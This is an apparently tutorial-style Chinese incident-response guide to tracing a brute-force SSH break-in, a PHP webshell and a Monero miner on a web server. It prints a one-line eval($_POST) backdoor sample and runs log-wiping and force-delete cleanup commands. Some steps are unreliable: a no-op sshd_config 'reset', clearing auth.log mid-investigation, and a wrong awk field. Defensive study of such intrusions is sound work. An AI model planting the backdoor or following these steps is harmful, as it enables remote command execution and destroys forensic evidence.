\u89c2\u5bdf443\u7aef\u53e3\u9ad8\u9891\u8fde\u63a5&#xff0c;tcpdump -i eth0 &#039;tcp dst port 443&#039;\u6293\u5305\u3002Wireshark\u67e5\u770bHTTP\/2\u4f2a\u88c5\u6216TLS SNI\u57df\u540d\u3002<\/p>\n<h5>\u5e38\u89c1\u95ee\u9898&#xff08;FAQ&#xff09;&#xff1a;\u6587\u4ef6\u4e0e\u8fdb\u7a0b\u5ba1\u8ba1\u7bc7<\/h5>\n<p>Q: \u68c0\u67e5\u6587\u4ef6\u5b8c\u6574\u6027\u65f6\u5982\u4f55\u5904\u7406\u4e0d\u53ef\u53d8\u5c5e\u6027&#xff1f;<br \/>\nA: lsattr\u67e5\u770b&#043;i&#xff0c;chattr -i file\u4e34\u65f6\u7981\u7528\u3002aide\u6570\u636e\u5e93\u9700\u66f4\u65b0&#8211;update\u3002<\/p>\n<p>Q: \u6301\u4e45\u5316\u670d\u52a1\u5982\u4f55\u5ba1\u8ba1&#xff1f;<br \/>\nA: systemctl list-unit-files &#8211;type&#061;service &#8211;state&#061;enabled\u5217\u51fa\u542f\u7528\u670d\u52a1\u3002systemctl status miner.service\u68c0\u67e5\u8fd0\u884c\u72b6\u6001\u3002<\/p>\n<p>Q: \u8fdb\u7a0b\u6811\u5f02\u5e38\u5982\u4f55\u5206\u6790&#xff1f;<br \/>\nA: pstree -p PID\u67e5\u770b\u7236\u5b50\u5173\u7cfb\u3002ps -o pid,ppid,comm -p PID\u67e5\u8be2\u7236\u8fdb\u7a0b\u3002<\/p>\n<h4>\u5b9e\u6218\u6848\u4f8b<\/h4>\n<p>\u67d0\u7535\u5546\u5e73\u53f0Web\u670d\u52a1\u5668\u7591\u4f3c\u88ab\u5165\u4fb5\u3002\u7ba1\u7406\u5458\u5728\u76d1\u63a7\u5e73\u53f0\u53d1\u73b0\u767b\u5f55\u5f02\u5e38\u548c\u6d41\u91cf\u5f02\u5e38&#xff0c;\u5feb\u901f\u5f00\u5c55\u6392\u67e5\u3002<\/p>\n<h5>\u53d1\u73b0\u5f02\u5e38\u767b\u5f55<\/h5>\n<p>\u767b\u5f55\u670d\u52a1\u5668\u540e&#xff0c;\u68c0\u67e5auth.log\u53d1\u73b0\u591a\u4e2a\u53ef\u7591\u8bb0\u5f55\u3002\u4f7f\u7528Python\u811a\u672c\u89e3\u6790\u65e5\u5fd7&#xff08;\u5df2\u4fdd\u7559\u539f\u4ee3\u7801&#xff0c;\u5e76\u6dfb\u52a0\u8be6\u7ec6\u6ce8\u91ca&#xff09;&#xff1a;<\/p>\n<p><span class=\"token keyword\">import<\/span> re<br \/>\n<span class=\"token keyword\">import<\/span> sys<br \/>\n<span class=\"token keyword\">from<\/span> collections <span class=\"token keyword\">import<\/span> Counter  <span class=\"token comment\"># \u8865\u5145\u7528\u4e8e\u8ba1\u6570IP\u9891\u7387<\/span><\/p>\n<p><span class=\"token keyword\">def<\/span> <span class=\"token function\">parse_auth_log<\/span><span class=\"token punctuation\">(<\/span>log_path<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n    <span class=\"token triple-quoted-string string\">&#034;&#034;&#034;<br \/>\n    \u89e3\u6790SSH\u8ba4\u8bc1\u65e5\u5fd7&#xff0c;\u63d0\u53d6\u5931\u8d25\u767b\u5f55\u3001\u6210\u529f\u767b\u5f55\u548c\u65e0\u6548\u7528\u6237\u5c1d\u8bd5\u3002<br \/>\n    \u53c2\u6570&#xff1a;<br \/>\n        log_path: \u65e5\u5fd7\u6587\u4ef6\u8def\u5f84<br \/>\n    \u8fd4\u56de&#xff1a;<br \/>\n        \u6253\u5370\u5206\u6790\u7ed3\u679c<br \/>\n    &#034;&#034;&#034;<\/span><br \/>\n    <span class=\"token keyword\">with<\/span> <span class=\"token builtin\">open<\/span><span class=\"token punctuation\">(<\/span>log_path<span class=\"token punctuation\">,<\/span> <span class=\"token string\">&#039;r&#039;<\/span><span class=\"token punctuation\">,<\/span> encoding<span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#039;utf-8&#039;<\/span><span class=\"token punctuation\">,<\/span> errors<span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#039;ignore&#039;<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token keyword\">as<\/span> f<span class=\"token punctuation\">:<\/span><br \/>\n        <span class=\"token keyword\">for<\/span> line <span class=\"token keyword\">in<\/span> f<span class=\"token punctuation\">:<\/span><br \/>\n            <span class=\"token keyword\">if<\/span> re<span class=\"token punctuation\">.<\/span>search<span class=\"token punctuation\">(<\/span><span class=\"token string\">r&#039;Failed password&#039;<\/span><span class=\"token punctuation\">,<\/span> line<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n                <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#039;Failed login attempt:&#039;<\/span><span class=\"token punctuation\">,<\/span> line<span class=\"token punctuation\">.<\/span>strip<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><br \/>\n            <span class=\"token keyword\">elif<\/span> re<span class=\"token punctuation\">.<\/span>search<span class=\"token punctuation\">(<\/span><span class=\"token string\">r&#039;Accepted password&#039;<\/span><span class=\"token punctuation\">,<\/span> line<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n                <span class=\"token keyword\">match<\/span> <span class=\"token operator\">&#061;<\/span> re<span class=\"token punctuation\">.<\/span>search<span class=\"token punctuation\">(<\/span><span class=\"token string\">r&#039;from ([0-9.]&#043;)&#039;<\/span><span class=\"token punctuation\">,<\/span> line<span class=\"token punctuation\">)<\/span><br \/>\n                <span class=\"token keyword\">if<\/span> <span class=\"token keyword\">match<\/span><span class=\"token punctuation\">:<\/span><br \/>\n                    <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#039;Successful login from:&#039;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token keyword\">match<\/span><span class=\"token punctuation\">.<\/span>group<span class=\"token punctuation\">(<\/span><span class=\"token number\">1<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><br \/>\n            <span class=\"token keyword\">elif<\/span> re<span class=\"token punctuation\">.<\/span>search<span class=\"token punctuation\">(<\/span><span class=\"token string\">r&#039;Invalid user&#039;<\/span><span class=\"token punctuation\">,<\/span> line<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n                <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#039;Invalid user attempt:&#039;<\/span><span class=\"token punctuation\">,<\/span> line<span class=\"token punctuation\">.<\/span>strip<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p>log_path <span class=\"token operator\">&#061;<\/span> <span class=\"token string\">&#039;\/var\/log\/auth.log&#039;<\/span><br \/>\nparse_auth_log<span class=\"token punctuation\">(<\/span>log_path<span class=\"token punctuation\">)<\/span><\/p>\n<p>\u6b64\u811a\u672c\u626b\u63cfauth.log&#xff0c;\u8f93\u51fa\u5931\u8d25\u548c\u6210\u529f\u767b\u5f55\u8bb0\u5f55\u3002\u5206\u6790\u7ed3\u679c\u663e\u793a\u591a\u4e2a\u6765\u81ea\u6d77\u5916IP\u7684\u66b4\u529b\u7834\u89e3\u5c1d\u8bd5&#xff0c;\u6301\u7eed\u65f6\u95f4\u957f\u8fbe\u6570\u5c0f\u65f6&#xff0c;\u521d\u6b65\u5224\u65ad\u4e3a\u5bc6\u7801\u7206\u7834\u653b\u51fb\u3002\u7ed3\u5408last -n 50\u547d\u4ee4\u67e5\u770b\u5386\u53f2\u767b\u5f55\u8bb0\u5f55&#xff0c;\u8fdb\u4e00\u6b65\u786e\u8ba4\u5f02\u5e38IP\u6a21\u5f0f\u3002\u811a\u672c\u53ef\u6269\u5c55\u4e3aawk &#039;{print $1}&#039; auth.log | sort | uniq -c\u7edf\u8ba1\u7528\u6237\u540d\u51fa\u73b0\u6b21\u6570&#xff0c;\u8bc6\u522badmin\u6216root\u88ab\u7206\u7834\u3002<\/p>\n<h5>\u6df1\u5165\u6eaf\u6e90\u4e0e\u5b9a\u4f4d<\/h5>\n<p>\u8fdb\u4e00\u6b65\u4f7f\u7528Shell\u547d\u4ee4\u5feb\u901f\u5b9a\u4f4d&#xff1a;<\/p>\n<p><span class=\"token comment\"># \u6700\u8fd1SSH\u767b\u5f55\u5386\u53f2<\/span><br \/>\nlast <span class=\"token parameter variable\">-n<\/span> <span class=\"token number\">20<\/span><\/p>\n<p><span class=\"token comment\"># \u6c47\u603b\u5f02\u5e38IP\u8ba1\u6570<\/span><br \/>\n<span class=\"token function\">grep<\/span> <span class=\"token string\">&#034;from &#034;<\/span> \/var\/log\/auth.log <span class=\"token operator\">|<\/span> <span class=\"token function\">grep<\/span> <span class=\"token parameter variable\">-E<\/span> <span class=\"token string\">&#039;IP|failed&#039;<\/span> <span class=\"token operator\">|<\/span> <span class=\"token function\">awk<\/span> <span class=\"token string\">&#039;{print $10}&#039;<\/span> <span class=\"token operator\">|<\/span> <span class=\"token function\">sort<\/span> <span class=\"token operator\">|<\/span> <span class=\"token function\">uniq<\/span> <span class=\"token parameter variable\">-c<\/span> <span class=\"token operator\">|<\/span> <span class=\"token function\">sort<\/span> <span class=\"token parameter variable\">-nr<\/span><\/p>\n<p>\u8f93\u51fa\u663e\u793a\u4e00\u4e2a\u53ef\u7591IP&#xff08;\u4f8b\u5982185.XXX.XXX.XXX&#xff09;\u51fa\u73b0\u6b21\u6570\u6700\u9ad8\u3002\u4f7f\u7528WHOIS\u5de5\u5177\u67e5\u8be2IP\u5f52\u5c5e&#xff1a;<\/p>\n<p>whois <span class=\"token number\">185<\/span>.XXX.XXX.XXX<\/p>\n<p>\u7ed3\u679c\u663e\u793a\u8be5IP\u5c5e\u4e8e\u4e00\u4e2a\u533f\u540dVPS\u63d0\u4f9b\u5546&#xff0c;\u5e38\u88ab\u653b\u51fb\u8005\u7528\u4f5c\u8df3\u677f\u670d\u52a1\u5668\u3002\u7ed3\u5408tcpdump\u6293\u5305\u786e\u8ba4\u8be5IP\u5728443\u7aef\u53e3\u5efa\u7acb\u51fa\u7ad9\u8fde\u63a5&#xff1a;<\/p>\n<p>tcpdump <span class=\"token parameter variable\">-i<\/span> eth0 <span class=\"token parameter variable\">-n<\/span> <span class=\"token parameter variable\">-s<\/span> <span class=\"token number\">0<\/span> <span class=\"token parameter variable\">-w<\/span> suspicious_traffic.pcap <span class=\"token function\">host<\/span> <span class=\"token number\">185<\/span>.XXX.XXX.XXX and port <span class=\"token number\">443<\/span><\/p>\n<p>\u5728Wireshark\u4e2d\u6253\u5f00PCAP\u6587\u4ef6&#xff0c;\u4f7f\u7528ip.src &#061;&#061; 185.XXX.XXX.XXX\u8fc7\u6ee4\u5668\u89c2\u5bdf\u6570\u636e\u5305\u3002\u91cd\u70b9\u67e5\u770bTLS\u63e1\u624b\u8bb0\u5f55\u548c\u6570\u636e\u8d1f\u8f7d&#xff0c;\u786e\u8ba4\u662f\u5426\u5305\u542bC2\u6307\u4ee4\u3002Wireshark\u8fd8\u53ef\u4f7f\u7528http.stream\u8fc7\u6ee4HTTP\/2\u4f2a\u88c5\u6d41\u91cf&#xff0c;\u67e5\u770b\u8bf7\u6c42\u5934User-Agent\u4f2a\u88c5\u6d4f\u89c8\u5668\u3002<\/p>\n<h5>\u68c0\u67e5\u540e\u95e8\u690d\u5165\u4e0e\u6301\u4e45\u5316<\/h5>\n<p>\u901a\u8fc7\u6d41\u91cf\u5206\u6790\u6000\u7591\u5b58\u5728\u540e\u95e8\u3002\u6267\u884c\u4ee5\u4e0b\u547d\u4ee4\u68c0\u67e5&#xff08;\u539f\u4ee3\u7801\u4fdd\u7559&#xff0c;\u6ce8\u91ca\u8865\u5145&#xff09;&#xff1a;<\/p>\n<p><span class=\"token comment\"># \u5217\u51facrontab\u5b9a\u65f6\u4efb\u52a1<\/span><br \/>\n<span class=\"token function\">crontab<\/span> <span class=\"token parameter variable\">-l<\/span><\/p>\n<p><span class=\"token comment\"># \u67e5\u627e\u53ef\u7591\u6587\u4ef6<\/span><br \/>\n<span class=\"token function\">find<\/span> \/ <span class=\"token parameter variable\">-name<\/span> <span class=\"token string\">&#034;*.php&#034;<\/span> <span class=\"token parameter variable\">-o<\/span> <span class=\"token parameter variable\">-name<\/span> <span class=\"token string\">&#034;*.js&#034;<\/span> <span class=\"token parameter variable\">-o<\/span> <span class=\"token parameter variable\">-name<\/span> <span class=\"token string\">&#034;miner&#034;<\/span> <span class=\"token parameter variable\">-o<\/span> <span class=\"token parameter variable\">-name<\/span> <span class=\"token string\">&#034;*.exe&#034;<\/span> <span class=\"token operator\"><span class=\"token file-descriptor important\">2<\/span>&gt;<\/span>\/dev\/null<\/p>\n<p><span class=\"token comment\"># \u68c0\u67e5\u654f\u611f\u6587\u4ef6\u4fee\u6539\u65f6\u95f4<\/span><br \/>\n<span class=\"token function\">find<\/span> \/etc <span class=\"token parameter variable\">-name<\/span> <span class=\"token string\">&#034;passwd&#034;<\/span> <span class=\"token parameter variable\">-o<\/span> <span class=\"token parameter variable\">-name<\/span> <span class=\"token string\">&#034;shadow&#034;<\/span> <span class=\"token parameter variable\">-o<\/span> <span class=\"token parameter variable\">-name<\/span> <span class=\"token string\">&#034;sudoers&#034;<\/span> <span class=\"token parameter variable\">-o<\/span> <span class=\"token parameter variable\">-name<\/span> <span class=\"token string\">&#034;ssh&#034;<\/span> <span class=\"token operator\"><span class=\"token file-descriptor important\">2<\/span>&gt;<\/span>\/dev\/null <span class=\"token parameter variable\">-exec<\/span> <span class=\"token function\">ls<\/span> <span class=\"token parameter variable\">-l<\/span> <span class=\"token punctuation\">{<\/span><span class=\"token punctuation\">}<\/span> <span class=\"token punctuation\">\\\\<\/span><span class=\"token punctuation\">;<\/span><\/p>\n<p>\u53d1\u73b0\/var\/www\/html\/shell.php\u5b58\u5728\u4e00\u4e2awebshell\u6587\u4ef6&#xff0c;\u6587\u4ef6\u5927\u5c0f\u7ea62MB&#xff0c;\u5305\u542b\u6316\u77ff\u811a\u672c\u4ee3\u7801\u3002\u4f7f\u7528strings\u547d\u4ee4\u63d0\u53d6\u5185\u5bb9\u786e\u8ba4\u4e3aMonero\u6316\u77ff\u76f8\u5173\u5b57\u7b26\u4e32\u3002<\/p>\n<p>\u8fdb\u4e00\u6b65\u68c0\u67e5&#xff1a;<\/p>\n<p><span class=\"token function\">ls<\/span> <span class=\"token parameter variable\">-l<\/span> \/var\/www\/html\/<br \/>\nlsattr \/var\/www\/html\/shell.php  <span class=\"token comment\"># \u67e5\u770b\u6269\u5c55\u5c5e\u6027<\/span><br \/>\nstrings \/var\/www\/html\/shell.php <span class=\"token operator\">|<\/span> <span class=\"token function\">grep<\/span> <span class=\"token parameter variable\">-E<\/span> <span class=\"token string\">&#039;pool|monero|xmr&#039;<\/span><\/p>\n<p>\u5e38\u89c1\u540e\u95e8\u7c7b\u578b\u5305\u62ec&#xff1a;PHP Webshell&#xff08;\u52a0\u5bc6\u4ee3\u7801&#xff09;\u3001Python\u53cd\u5411shell\u811a\u672c\u3001Node.js C2\u5ba2\u6237\u7aef\u3001\u6c38\u4e45\u540e\u95e8\u901a\u8fc7systemd\u670d\u52a1\u5b9a\u65f6\u62c9\u53d6\u4e8c\u8fdb\u5236\u3002webshell\u4ee3\u7801\u53ef\u80fd\u4f7f\u7528eval\u6267\u884cPHP\u51fd\u6570\u6216base64\u7f16\u7801payload\u3002\u653b\u51fb\u8005\u53ef\u80fd\u4fee\u6539index.php\u5305\u542b\u540e\u95e8&#xff0c;\u793a\u4f8b&#xff1a;<\/p>\n<p><span class=\"token delimiter important\">&lt;?php<\/span><br \/>\n<span class=\"token keyword\">eval<\/span><span class=\"token punctuation\">(<\/span><span class=\"token variable\">$_POST<\/span><span class=\"token punctuation\">[<\/span><span class=\"token string single-quoted-string\">&#039;cmd&#039;<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token operator\">?<\/span><span class=\"token operator\">&gt;<\/span><\/p>\n<h5>\u6d41\u91cf\u4e0eC2\u901a\u4fe1\u5206\u6790<\/h5>\n<p>\u4f7f\u7528Wireshark\u6216tcpdump\u5206\u6790PCAP\u6587\u4ef6&#xff0c;\u5b9a\u4f4d\u5230\u653b\u51fb\u8005\u63a7\u5236\u7684\u6316\u77ff\u6c60\u670d\u52a1\u5668IP&#xff08;\u4f8b\u5982pool.minexmr.com:4444&#xff09;\u3002\u901a\u8fc7netstat -tuln\u786e\u8ba4\u670d\u52a1\u5668\u76d1\u542c443\u7aef\u53e3\u5e76\u5efa\u7acb outbound \u8fde\u63a5\u3002<\/p>\n<p>\u5728Wireshark\u4e2d&#xff1a;<\/p>\n<ul>\n<li>\u8fc7\u6ee4tcp.port &#061;&#061; 443 and ip.src &#061;&#061; 185.XXX.XXX.XXX<\/li>\n<li>\u9009\u62e9\u6570\u636e\u5305&#xff0c;\u53f3\u952eFollow -&gt; TCP Stream\u67e5\u770b\u660e\u6587\u6307\u4ee4<\/li>\n<li>\u68c0\u67e5\u662f\u5426\u5305\u542b\u6316\u77ff\u96be\u5ea6\u8bbe\u7f6e\u3001\u77ff\u6c60URL\u7b49\u53c2\u6570<\/li>\n<\/ul>\n<p>C2\u6d41\u91cf\u53ef\u80fd\u4f7f\u7528\u81ea\u5b9a\u4e49HTTP\u5934\u5982X-Command: start_mining&#xff0c;Wireshark\u89e3\u7801TLS\u8bb0\u5f55\u67e5\u770b\u660e\u6587\u3002tcpflow -i eth0 -p host 185.XXX.XXX.XXX\u8f93\u51fa\u6d41\u5185\u5bb9&#xff0c;\u8bc6\u522b\u547d\u4ee4\u5982set pool pool.minexmr.com\u3002<\/p>\n<h5>\u6e05\u7406\u4e0e\u6062\u590d<\/h5>\n<p>\u505c\u6b62\u53ef\u7591\u670d\u52a1\u5e76\u5220\u9664\u540e\u95e8&#xff08;\u6e05\u7406\u6b65\u9aa4\u6269\u5c55&#xff09;&#xff1a;<\/p>\n<p><span class=\"token comment\"># \u505c\u6b62\u6316\u77ff\u8fdb\u7a0b<\/span><br \/>\n<span class=\"token function\">pkill<\/span> <span class=\"token parameter variable\">-f<\/span> miner<\/p>\n<p><span class=\"token comment\"># \u5220\u9664\u540e\u95e8\u6587\u4ef6&#xff08;\u5148\u5907\u4efd&#xff09;<\/span><br \/>\n<span class=\"token function\">cp<\/span> \/var\/www\/html\/shell.php \/tmp\/webshell_bak_<span class=\"token variable\"><span class=\"token variable\">$(<\/span><span class=\"token function\">date<\/span> &#043;%s<span class=\"token variable\">)<\/span><\/span>.php<br \/>\n<span class=\"token function\">rm<\/span> <span class=\"token parameter variable\">-f<\/span> \/var\/www\/html\/shell.php<\/p>\n<p><span class=\"token comment\"># \u91cd\u7f6eSSH\u914d\u7f6e&#xff08;\u5907\u4efd\u4f18\u5148&#xff09;<\/span><br \/>\n<span class=\"token function\">mv<\/span> \/etc\/ssh\/sshd_config \/etc\/ssh\/sshd_config.bak<br \/>\n<span class=\"token function\">cp<\/span> \/etc\/ssh\/sshd_config.bak \/etc\/ssh\/sshd_config<br \/>\nsystemctl restart sshd<\/p>\n<p><span class=\"token comment\"># \u6e05\u7406\u65e5\u5fd7<\/span><br \/>\n<span class=\"token function\">cp<\/span> \/var\/log\/auth.log \/var\/log\/auth.log.bak<br \/>\n<span class=\"token builtin class-name\">echo<\/span> <span class=\"token string\">&#034;&#034;<\/span> <span class=\"token operator\">&gt;<\/span> \/var\/log\/auth.log<\/p>\n<p>\u968f\u540e\u8fdb\u884c\u6587\u4ef6\u5b8c\u6574\u6027\u6821\u9a8c\u548c\u65e5\u5fd7\u4fdd\u7559&#xff0c;\u4f7f\u7528logrotate\u914d\u7f6e\u5386\u53f2\u5f52\u6863\u3002\u76d1\u63a7\u4e00\u5468\u786e\u8ba4\u65e0\u5f02\u5e38\u884c\u4e3a\u53d1\u751f\u3002\u6e05\u7406\u540e\u5907\u4efd\u5173\u952e\u6587\u4ef6\u81f3\u5f02\u5730&#xff1a;tar -czf incident_backup_$(date &#043;%s).tar.gz \/etc \/var\/log \/var\/www&#xff0c;\u4f7f\u7528AWS S3\u4e0a\u4f20\u3002<\/p>\n<p>\u901a\u8fc7\u4e0a\u8ff0\u6b65\u9aa4&#xff0c;\u5b8c\u6574\u8fd8\u539f\u4e86\u5165\u4fb5\u8fc7\u7a0b&#xff1a;\u653b\u51fb\u8005\u5229\u7528CMS\u540e\u53f0\u5f31\u5bc6\u7801&#xff08;\u5bc6\u7801123456&#xff09;\u767b\u5f55\u670d\u52a1\u5668&#xff0c;\u5b89\u88c5\u6316\u77ff\u540e\u95e8&#xff0c;\u5229\u7528443\u7aef\u53e3\u4e0e\u6316\u77ff\u6c60\u5efa\u7acbC2\u901a\u4fe1&#xff0c;\u6301\u7eed\u6316\u77ff\u6570\u6708&#xff0c;\u83b7\u5229\u7ea63\u4e07\u7f8e\u5143\u3002\u653b\u51fb\u8005\u8fd8\u53ef\u80fd\u5229\u7528CMS\u6f0f\u6d1e\u5982WordPress &lt;&#061;5.7.1 SQL\u6ce8\u5165\u6ce8\u5165\u540e\u95e8\u3002<\/p>\n<h3>\u8e29\u5751\u4e0e\u4f18\u5316\u5efa\u8bae<\/h3>\n<h5>\u5e38\u89c1\u8e29\u5751<\/h5>\n<li>\n<p>\u65e5\u5fd7\u88ab\u6e05\u7406&#xff1a;\u653b\u51fb\u8005\u5e38\u901a\u8fc7logrotate\u6216\u76f4\u63a5rm\u547d\u4ee4\u5220\u9664\u75d5\u8ff9&#xff0c;\u5bfc\u81f4\u5386\u53f2\u65e5\u5fd7\u4e22\u5931\u3002\u89e3\u51b3\u65b9\u6848\u662f\u63d0\u524d\u8bbe\u7f6elogrotate\u4fdd\u75597\u5929\u4ee5\u4e0a&#xff0c;\u5e76\u5c06\u65e5\u5fd7\u53d1\u9001\u81f3\u8fdc\u7a0bSIEM\u3002logrotate\u914d\u7f6e\u53ef\u4fee\u6539\u4e3adaily 14 rotate 5&#xff0c;\u4f7f\u7528rsyslog\u8fdc\u7a0b\u8f6c\u53d1\u81f3ELK\u3002<\/p>\n<\/li>\n<li>\n<p>\u65f6\u95f4\u540c\u6b65\u95ee\u9898&#xff1a;\u670d\u52a1\u5668\u65f6\u95f4\u4e0e\u653b\u51fb\u8005\u4e0d\u4e00\u81f4&#xff0c;\u5bfc\u81f4\u65e5\u5fd7\u65f6\u95f4\u6233\u504f\u5dee\u3002\u5e38\u89c1\u4e8eNTP\u670d\u52a1\u5668\u6545\u969c\u6216\u65f6\u533a\u914d\u7f6e\u9519\u8bef\u3002\u4f7f\u7528chrony\u63a8\u8350\u5b9e\u73b0&#xff0c;\u5e76\u9a8c\u8bc1chronyc tracking\u3002\u914d\u7f6e\/etc\/chrony\/chrony.conf\u4f7f\u7528server pool.ntp.org iburst&#xff0c;\u7981\u7528disable local\u3002<\/p>\n<\/li>\n<li>\n<p>\u4ec5\u672c\u5730\u6392\u67e5&#xff1a;\u5ffd\u7565\u4e91\u5e73\u53f0API\u5ba1\u8ba1&#xff08;\u5982AWS CloudTrail\u3001\u963f\u91cc\u4e91SLB\u65e5\u5fd7&#xff09;\u548c\u7f51\u7edc\u6d41\u91cf\u3002\u5fc5\u987b\u7ed3\u5408\u4e91\u5382\u5546\u5b89\u5168\u7ec4\u53d8\u66f4\u65e5\u5fd7\u548c\u6d41\u91cf\u955c\u50cf\u3002\u914d\u7f6eVPC Flow Logs&#xff0c;aws ec2 describe-flow-logs&#xff0c;\u67e5\u8be2DescribeSecurityGroups\u53d8\u66f4\u3002<\/p>\n<\/li>\n<li>\n<p>\u5de5\u5177\u8bef\u7528&#xff1a;\u53ea\u7528ps\u547d\u4ee4\u672a\u7ed3\u5408lsof\u548cnetstat&#xff0c;\u6f0f\u6389\u9690\u85cf\u8fdb\u7a0b\u6216\u7aef\u53e3\u3002\u63a8\u8350\u5b89\u88c5rkhunter\u8fdb\u884crootkit\u626b\u63cf\u3002ps -ef | grep -vE &#039;root&#039;\u540e\u7ed3\u5408lsof -u root\u68c0\u67e5\u6587\u4ef6\u53e5\u67c4\u3002<\/p>\n<\/li>\n<li>\n<p>\u5feb\u901f\u5904\u7f6e&#xff1a;\u76f4\u63a5\u91cd\u542f\u670d\u52a1\u6216\u5220\u9664\u6587\u4ef6\u540e&#xff0c;\u672a\u4fdd\u7559\u53d6\u8bc1\u8bc1\u636e\u3002\u5fc5\u987b\u5148\u5236\u4f5cMD5\u5feb\u7167\u3001dd\u955c\u50cf\u6216tar\u538b\u7f29\u5f52\u6863\u5173\u952e\u76ee\u5f55\u3002md5sum -c baseline.md5\u9a8c\u8bc1\u5feb\u7167&#xff0c;dd if&#061;\/dev\/sda of&#061;backup.img bs&#061;1M\u955c\u50cf\u78c1\u76d8\u3002<\/p>\n<\/li>\n<li>\n<p>\u6743\u9650\u8fc7\u9ad8&#xff1a;\u4f7f\u7528root\u7528\u6237\u6267\u884c\u6392\u67e5\u5bfc\u81f4\u75d5\u8ff9\u88ab\u8986\u76d6\u3002\u5efa\u8bae\u5207\u6362\u666e\u901a\u7528\u6237\u6267\u884c\u975e\u654f\u611f\u547d\u4ee4\u3002sudo -u ubuntu -H -s\u5207\u6362\u7528\u6237&#xff0c;sudo -l\u67e5\u770b\u6743\u9650\u3002<\/p>\n<\/li>\n<li>\n<p>SIEM\u914d\u7f6e\u4e0d\u8db3&#xff1a;\u4ec5\u672c\u5730\u65e5\u5fd7\u672a\u805a\u5408&#xff0c;\u96be\u4ee5\u5173\u8054\u4e8b\u4ef6\u3002\u90e8\u7f72ELK Stack&#xff0c;logstash\u89e3\u6790auth.log&#xff0c;Kibana\u67e5\u8be2Failed password\u5b57\u6bb5\u3002<\/p>\n<\/li>\n<li>\n<p>\u52a0\u5bc6\u6d41\u91cf\u5ffd\u7565&#xff1a;443\u7aef\u53e3\u52a0\u5bc6\u6d41\u91cf\u96be\u4ee5\u5206\u6790\u3002\u4f7f\u7528SSL\/TLS\u89e3\u5bc6\u5de5\u5177\u5982mitmproxy\u6216wireshark\u914d\u7f6e\u8bc1\u4e66\u3002<\/p>\n<\/li>\n<li>\n<p>\u8de8\u5e73\u53f0\u65e5\u5fd7\u7f3a\u5931&#xff1a;\u4e0d\u540cOS\u65e5\u5fd7\u683c\u5f0f\u4e0d\u4e00&#xff0c;\u7edf\u4e00\u5ba1\u8ba1\u96be\u5ea6\u5927\u3002\u63a8\u8350\u4f7f\u7528rsyslog\u7edf\u4e00\u683c\u5f0f&#xff0c;auditd\u96c6\u4e2d\u7ba1\u7406\u3002<\/p>\n<\/li>\n<li>\n<p>\u8bc1\u636e\u94fe\u65ad\u88c2&#xff1a;\u672a\u8bb0\u5f55\u64cd\u4f5c\u6b65\u9aa4&#xff0c;\u5bfc\u81f4\u53d6\u8bc1\u5931\u6548\u3002\u8bb0\u5f55\u6bcf\u4e2a\u547d\u4ee4\u8f93\u51fa\u81f3\u6587\u672c&#xff0c;cat output.log &gt; evidence.txt\u3002<\/p>\n<\/li>\n<h5>\u4f18\u5316\u5efa\u8bae<\/h5>\n<ul>\n<li>\n<p>\u591a\u5c42\u65e5\u5fd7\u7b56\u7565&#xff1a;\u90e8\u7f72ELK Stack\u6216Splunk&#xff0c;\u5b9e\u73b0\u5b9e\u65f6\u805a\u5408\u548c\u5f02\u5e38\u641c\u7d22\u3002\u4f7f\u7528Python\u811a\u672c\u7ed3\u5408\u6b63\u5219\u5339\u914d\u68c0\u6d4b\u9ad8\u9891IP&#xff08;\u539f\u4ee3\u7801\u4fdd\u7559\u5e76\u6dfb\u52a0\u6ce8\u91ca&#xff09;&#xff1a;<\/p>\n<p><span class=\"token keyword\">import<\/span> re<br \/>\n<span class=\"token keyword\">from<\/span> collections <span class=\"token keyword\">import<\/span> Counter<\/p>\n<p><span class=\"token keyword\">def<\/span> <span class=\"token function\">count_ips<\/span><span class=\"token punctuation\">(<\/span>log_path<span class=\"token punctuation\">,<\/span> pattern<span class=\"token operator\">&#061;<\/span><span class=\"token string\">r&#039;from ([0-9.]&#043;)&#039;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n    <span class=\"token triple-quoted-string string\">&#034;&#034;&#034;<br \/>\n    \u7edf\u8ba1\u65e5\u5fd7\u4e2d\u6240\u6709IP\u51fa\u73b0\u9891\u7387<br \/>\n    \u53c2\u6570:<br \/>\n      log_path: \u65e5\u5fd7\u6587\u4ef6\u8def\u5f84<br \/>\n      pattern: \u6b63\u5219\u5339\u914dIP\u7684\u6a21\u5f0f<br \/>\n    \u8fd4\u56de:<br \/>\n      Counter\u5bf9\u8c61&#xff0c;\u952e\u4e3aIP&#xff0c;\u503c\u4e3a\u51fa\u73b0\u6b21\u6570<br \/>\n    &#034;&#034;&#034;<\/span><br \/>\n    ips <span class=\"token operator\">&#061;<\/span> <span class=\"token punctuation\">[<\/span><span class=\"token punctuation\">]<\/span><br \/>\n    <span class=\"token keyword\">with<\/span> <span class=\"token builtin\">open<\/span><span class=\"token punctuation\">(<\/span>log_path<span class=\"token punctuation\">,<\/span> <span class=\"token string\">&#039;r&#039;<\/span><span class=\"token punctuation\">,<\/span> encoding<span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#039;utf-8&#039;<\/span><span class=\"token punctuation\">,<\/span> errors<span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#039;ignore&#039;<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token keyword\">as<\/span> f<span class=\"token punctuation\">:<\/span><br 